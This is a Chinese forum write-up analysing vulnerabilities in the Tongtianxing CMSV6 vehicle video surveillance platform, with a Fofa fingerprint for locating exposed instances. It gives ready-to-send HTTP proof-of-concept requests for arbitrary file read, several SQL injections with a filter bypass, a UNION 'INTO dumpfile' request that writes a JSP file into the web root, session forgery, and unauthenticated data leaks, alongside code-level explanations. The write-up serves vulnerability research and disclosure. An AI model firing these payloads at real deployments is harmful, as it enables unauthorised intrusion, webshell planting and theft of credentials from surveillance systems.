问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次对通天星CMSV6车载视频监控平台的漏洞分析
漏洞分析
通天星CMSV6(官网地址:http://www.g-sky.cn/)拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队,专注于为定位、无线视频终端产品提供平台服务,通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。根据微步在线研究响应中心捕捉到漏洞情报,来对通天星CMSV6车载视频监控平台的漏洞进行分析审计
0x01 前言 ------- 官方2024漏洞修复说明:[http://faq.cmsv8.com/help.html?page\_id=1249](http://faq.cmsv8.com/help.html?page_id=1249) Fofa指纹特征:`body="./open/webApi.html"||body="/808gps/"` 0x02 通天星CMSV6 getImage接口存在任意文件读取漏洞 ---------------------------------- 通天星CMSV6车载视频监控平台`StandardReportMediaAction_getImage.action`接口存在任意文件读取漏洞,攻击者可以利用漏洞读取服务器上的任意文件,包括敏感系统文件和应用程序配置文件等。 poc: ```js GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Length: 2 ``` 先来看下`struts.xml`文件中对web和API请求通用配置 ```js <!-- =========web请求通用配置\========== --> <action name\="\*\*/\*\_\*.action" class\="{2}" method\="{3}"\> <!-- =========API请求通用配置\========== --> <action name\="\*\_\*.action" class\="{1}" method\="{2}"\> ``` 定义了`class`与`mothod`的访问方式,例如请求的url为`/808gps/StandardReportMediaAction_getImage.action`,实际对应的是`StandardReportMediaAction`类的`getImage`方法,定位到代码  首先获取三个参数`filePath`,`fileOffset`,`fileSize`,调用`RandomAccessFile`类将指针移到`fileOffset`读取文件的位置,然后把文件中的内容都读取到字节数组中,最后将指定的字节写入此字节数组输出流中。这里可以构造直接读取`log_info.log`获取用户的session伪造登录,效果如下  0x03 通天星CMSV6 /run\_stop/delete.do接口存在SQL注入漏洞 --------------------------------------------- 通天星CMSV6车载定位监控平台`/run_stop/delete.do`接口存在SQL注入漏洞,攻击者可以通过此漏洞写入木马病毒获取服务器权限。 poc: ```js GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 ``` 跟进到`StandardDemoRunStopController`类定位到`/delete`路由  跟进`ValidateUtils.checkParameter`方法发现只是判断了参数`ids`是否为null  跟进`demoRunStopService.deleteRunStopBatch`方法  继续套娃  直接拼接导致的SQL注入 这样就结束了吗?那`;downloadLogger.action`的意义是什么呢? 跟进web.xml  发现存在针对所有请求的SQL注入的Filter过滤器,跟进对应的类  通过`getParameterValues`获取参数的`value`值,通过遍历拼接组合成字符串 继续跟进`sqlValidate`方法  将组合成的字符串先变成小写,然后判断是否包含sql注入黑名单方法,包含就GG 但是熟悉的`getRequestURI`方法映入眼帘,如果请求的url包含`downloadLogger.action`,`StandardApiAction_vehicleTTS.action...`,就可以bypass这个sql注入的过滤器,直接通过`chain.doFilter`将请求转发给下一个过滤器。 SQL注入效果如下:  对比效果  这个系统的直接获取参数拼接进sql语句的场景挺多,都可以通过加`;downloadLogger.action`的方式绕过 比如`/edu_security_officer/disable`接口也同样可以通过这种方式造成SQL注入 poc: ```js GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+(SELECT+2688+FROM+(SELECT(SLEEP(3)))a) HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=9E4EED29182FF5BAFF9D86142A4BAC6D Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 ``` 跟进`EduSecurityOfficerController#disable`方法    直接拼接导致sql注入  而且还有`AlarmAppealController#getAlarmAppealByGuid`方法  接收传入的参数`guid`,跟进`alarmAppealService.getAlarmAppealsByGuids`方法   直接拼接导致的sql注入 0x04 通天星CMSV6 /point\_manage/merge接口存在SQL注入导致RCE ------------------------------------------------ 通天星CMSV6车载定位监控平台`/point_manage/merge`接口存在SQL注入漏洞,攻击者可以通过此漏洞写入木马病毒获取服务器权限。 poc: ```js POST /point_manage/merge HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a WHERE '1'='1&type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8 ``` 跟踪到具体方法,先来看SQL注入:  可以看到将`PointManageVo`类作为参数,跟进`pointManageService.merge`方法  因为`PointManageVo`继承于`PointManagePo`,`(PointManageVo)param.getName()`会直接调用`PointManagePo.getName()`方法获取到传入的参数`name`,将`name`,`id`参数传入`nameExsit`方法  跟进`pointManageDao.getPointByName`方法  可以看到直接将`name`拼接到sql语句中导致了SQL注入漏洞,目前的poc都是通过这个sql注入来写木马   为什么`SqlFilter`过滤器没有生效呢? 因为这里使用的是sql注入黑名单方法的形式来判断用户的输入,通过`|`来分割恶意字符,例如这里取出的字符为`select空格`,使用`select%0a`换行符就可以绕过校验   说完sql注入,再来看这个接口为什么不需要登录,或者说这个`@NotLogin`注解在哪里生效  来看`struts.xml`文件,定位Struts2的拦截器配置  直接跟进`SessionIterceptor#intercept`方法,来看关键的地方  通过`invocation.getAction()`方法获取当前请求准备执行的Action对象,通过`invocation.getProxy().getMethod()`获取用户请求的方法名 往下进入到关键的`handleMethodNotLogin`方法  将Action对象对应的类,与方法名传入  获取Action对应的类的名称,与方法名组成完整的路径,这里就是`com.gps808.inspect.controller.PointManageController.merge`,当同时满足`NOT_LOGIN_CACHE`数组包含完整的路径,且`isEnableDebug`属性为`false`的时候,会返回完整的路径,当然是不满足的。重点在下面,通过java反射获取`com.gps808.inspect.controller.PointManageController`类中`merge`方法,通过调用`isAnnotationPresent`判断类或者方法是否标注了指定注解,这里就是`@NotLogin`,如果标注了就返回`true`,接下来就调用`invocation.invoke()`执行下一个拦截器,所以标注了`@NotLogin`注解的类或者方法都不需要登录即可访问。 除了标注了`@NotLogin`注解的类或者方法不需要登录外,跟进`isAllowContinue`方法中   判断`actionName`和`lstAction`是否为null,不为null的话还要判断`lstAction`是否包含`actionName`,跟进来看看`lstAction`  可以看到是获取`sessionFilter.xml`文件中`model`标签的内容  至此只要`actionName`为`StandardLoginAction`,`StandardWechatAction...`都可以直接通过权限拦截器 0x05 通天星CMSV6 /inspect\_file/upload接口存在任意文件上传漏洞 ----------------------------------------------- 通天星CMSV6 `inspect_file/upload`接口存在任意文件上传漏洞,跟进到`InspectFileUploadController`类   这个类同样是`@NotLogin`注解,而且并没有对上传的文件的后缀进行限制,上传的路径为`upload/+folderName`(`folderName`为用户可控参数,默认为`software`),上传的文件以`当前系统时间的值_上传文件的名字`命名,所以造成了未授权任意文件上传。 > 奇怪的是在文件上传成功之后,增加了对上传文件的后缀的白名单的判断,但是根据判断结果只是修改了`FileType`参数,并没有对文件上传的结果造成影响。   0x06 用户SESSION伪造漏洞 ------------------ 通天星CMSV6车载定位监控平台`saveUserSession`接口存在用户SESSION伪造漏洞,攻击者可以通过此漏洞伪造用户id对应的SESSION,在日志中可以看到,直接将SESSION插入到`user_session`表中。 (测试版本CMSV6 7.32.0.2)poc: ```js POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Forwarded-For: 127.0.0.1 X-Originating-Ip: 127.0.0.1 X-Remote-Ip: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Te: trailers Connection: close userSession=42AA7A2BE767123A42E1530ACC920781&id=4 ``` 定位到`UserSessionAction#saveUserSession`方法  获取参数`id`,`userSession`,如果不为null的话将传入`userSession`传入`standardUserAccountService.getUserSession`方法  继续跟进`standardUserSessionDao.getUserSession`方法  判断`user_session`表中是否满足`Session`=`userSession`这一条件的记录,如果存在就返回`The Session already exists!`,如果不存在就调用`standardUserAccountService.saveThirdSession`方法,将参数`id`,`userSession`传入   将`id`,`userSession`插入到`user_session`表中,插入成功后  通过`getUserSession`方法获取`userSession`的内容,转换成`StandardUserSessionEx`类型,通过`EntityApiSessionCacheTool.addApiUserSessionBySession`方法更新缓存。 这个过程攻击者就可以通过用户的`id`对`SESSION`进行伪造  通过任意文件读取漏洞读取日志,可以看到记录  所以一开始说的通过读取`log_info.log`获取用户的session伪造登录完全成立哈哈 而且通过`UserSessionAction_findUserSession.action`接口可以通过此session来查看对应的账户密码  因为这个password是从数据库里面读取,如果想解密的话需要调用`AesUtil#aesDecryptDB`+cmd5解密方法,这里解密之后直接登录即可 0x0x 其他 ------- 反序列化漏洞: 这里不再搬轮子,直接移步@Y4TACKER的《[浅析通天星CMSV6车载定位监控平台远程代码执行漏洞](https://y4tacker.github.io/2024/05/18/year/2024/5/%E6%B5%85%E6%9E%90%E9%80%9A%E5%A4%A9%E6%98%9FCMSV6%E8%BD%A6%E8%BD%BD%E5%AE%9A%E4%BD%8D%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96)》,完整的漏洞利用链: ```js com.framework.jasperReports.ReportCreater#_createReport => com.framework.jasperReports.ReportCreater#getJasperReport => com.framework.jasperReports.ReportCreater#getJasperReportFromFile => net.sf.jasperreports.engine.util.JRLoader#loadObject => net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject ``` 信息泄露类: 1. `StandardLoginAction_getAllUser.action`接口存在信息泄露 ```js POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Connection: close Content-Length: 9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate json=null ```  2. `/xz_center/list`接口存在信息泄露 ```js POST /xz_center/list HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Encoding: gzip, deflate Connection: close page=1 ```  针对信息泄露类的漏洞: 1. 黑盒挖掘思路可以利用burpsuite的`HAE + BurpJSLinkFinder + Autorize`插件(当然可能会有更好的),其中`HAE`插件通过自定义正则表达式匹配响应报文或请求报文来捕捉到类似的敏感信息泄露,`BurpJSLinkFinder`插件从js文件里面提取API接口,`Autorize`插件来判断哪些API接口可以未授权访问,组合即可获取未授权返回敏感信息的接口。 2. 从白盒挖掘的思路关注于接口的返回是`return "success"`这类的状态值,还是return一个list或者map,对list或者map进行分析判断其中是否包含敏感信息。然后判断接口是否存在未授权访问,例如是否有对身份的校验,`getRequestURI+Filter/Interceptor`是否存在权限校验绕过的可能等等。 抱着学习的心态来分析通天星cmsv6的漏洞,请各位师傅多指导,如果文章中有错误请师傅私信我。
发表于 2024-07-31 10:38:18
阅读 ( 6302 )
分类:
Web应用
4 推荐
收藏
1 条评论
laotie233
1秒前
牛逼 666
请先
登录
后评论
请先
登录
后评论
bmjoker
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!